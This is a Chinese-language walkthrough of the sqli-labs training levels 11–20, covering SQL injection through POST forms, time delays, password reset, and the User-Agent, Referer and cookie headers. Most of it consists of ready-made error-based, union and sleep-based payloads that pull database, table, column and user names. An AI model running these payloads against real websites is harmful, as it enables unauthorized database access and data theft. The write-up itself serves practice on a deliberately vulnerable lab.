和前十关不一样的是,接下来几题是POST注入题型,根据POST表单提交的数据来进行注入,其实也就是输入点的不同
Less-11
首先看到两个输入框,输入错误的账户密码不显示,输入一下特殊字符看看会不会报错
两个输入框均输入万能密码'or '1'='1
,显示出第一个用户,证明账号密码处全部被置为空,默认输出一个账户,证明应该是单引号对其闭合了,猜测sql语句格式应该是username='username' and password='password'
使用其中一个字段测试,这里使用username字段测试,输入'or 1=1 order by 3 #
显示字段不存在
测试'or 1=1 order by 2 #
输出一个账户密码,由此判断有两个字段
由于web界面比较不友好,可以使用burpsuite抓包进行注入
payload
payload其实和之前的是一样的,只不过是post型和get型输入点不同,还是放上来吧
这里使用报错注入
注当前数据库名' or 1=1 union select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; #
注第一个表名' or 1=1 union select count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注user表里的第二个字段' or 1=1 union select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注字段的值,这里注 users 表里的 usrname 字段为例' or 1=1 union select count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
Less-12
与上一题几乎一样,只不过闭合方式改为")
,所以直接放payload
payload
注当前数据库名") or 1=1 union select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; #
注第一个表名") or 1=1 union select count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注user表里的第二个字段") or 1=1 union select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注字段的值,这里注 users 表里的 usrname 字段为例") or 1=1 union select count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
Less-13
与十一题也几乎一样,只不过闭合方式改为')
,所以直接放payload
payload
注当前数据库名') or 1=1 union select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; #
注第一个表名') or 1=1 union select count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注user表里的第二个字段') or 1=1 union select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注字段的值,这里注 users 表里的 usrname 字段为例') or 1=1 union select count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
Less-14
和十一题相似,与十一题也几乎一样,只不过闭合方式改为"
,所以直接放payload
payload
注当前数据库名" or 1=1 union select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; #
注第一个表名" or 1=1 union select count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注user表里的第二个字段" or 1=1 union select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
注字段的值,这里注 users 表里的 usrname 字段为例" or 1=1 union select count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; #
Less-15
15题主要考查的基于时间的延迟注入
直接放payload了
payload
爆数据库第一个字母' or 1=1 and If(ascii(substr(database(),1,1))=115,1,sleep(5)) #
爆第一个数据库(security)的第一个字母' or 1=1 and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第一个字母' or 1=1 and If(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第二个字段(id)的第一个字母' or 1=1 and If(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(5),1) #
Less-16
与15题类似,闭合条件改为")
直接放payload
payload
爆数据库第一个字母") or 1=1 and If(ascii(substr(database(),1,1))=115,1,sleep(5)) #
爆第一个数据库(security)的第一个字母") or 1=1 and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第一个字母") or 1=1 and If(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第二个字段(id)的第一个字母") or 1=1 and If(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(5),1) #
Less-17
17题打开提示密码重置,输已存在用户名密码,提示更新成功,可以先遍历一下已存在用户名,存在即更新成功。这里测出存在 admin 用户
执行的应该是update语句
可以尝试对new password字段进行闭合,由于不知道是否能注成功,可以使用延迟注入,根据返回时间来判断是否成功注入
添加单引号,报错,根据报错信息判断应该使用单引号进行闭合
尝试延迟,不知道什么原因,我这个延迟的时间有点长,但是不使用sleep函数返回还是很快的,由此可以判断注入成功
接下来和之前一样放payload了
payload
爆数据库第一个字母' or 1=1 and If(ascii(substr(database(),1,1))=115,1,sleep(5)) #
爆第一个数据库(security)的第一个字母' or 1=1 and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第一个字母' or 1=1 and If(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第二个字段(id)的第一个字母' or 1=1 and If(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(5),1) #
Less-18
首先看到一个 ip ,但是测试输入单引号等特殊字符返回页面均不改变,测试一下正常输入,利用17题更新的密码,登陆过后看到your user agent:...
等字样,猜测有可能是头部注入
依旧开启burpsuite进行抓包,将user-agent
字段改为123'
,页面直接输出,此处应该就是注入点了
自己尝试了报错注入和时间盲注,但是都没有注出来,查了网上payload 还是换一种报错注入方式吧,这里使用updatexml进行注入
直接放payload吧还是
payload
注数据库' and updatexml(1,concat(0x3a,database()),1))#
Less-19
和18题类似,只不过注点换了,输入正确账户密码提示your referer is ...:
直接放payload
payload
注数据库' and updatexml(1,concat(0x3a,database()),1))#
Less-20
输入正确账号密码后出现如图情况
根据提示这题考查cookie注入,开启抓包,删除cookie从登陆开始抓包。
输入账号密码,提交数据后抓包,查看cookie参数并没有什么特殊,对任意字段添加特殊字符也均无反应,后来突然发现把第一个post提交数据包forward过后还有一个包,并且发现cookie有一个特殊字段,uname
,猜测注点应该就是在这了
尝试特殊字符 闭合uname
字段
加单引号报错,尝试payload' and sleep(3) #
成功延时,所以此题是使用单引号闭合
尝试探测字段,4显示不存在,3显示正常,所以三个字段
payload
爆数据库(security)第一个字母' or 1=1 and If(ascii(substr(database(),1,1))=115,1,sleep(5)) #
爆第一个数据库(security)的第一个字母' or 1=1 and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第一个字母' or 1=1 and If(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) #
爆当前数据库(security)的第一个表(emails)的第二个字段(id)的第一个字母' or 1=1 and If(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105,sleep(5),1) #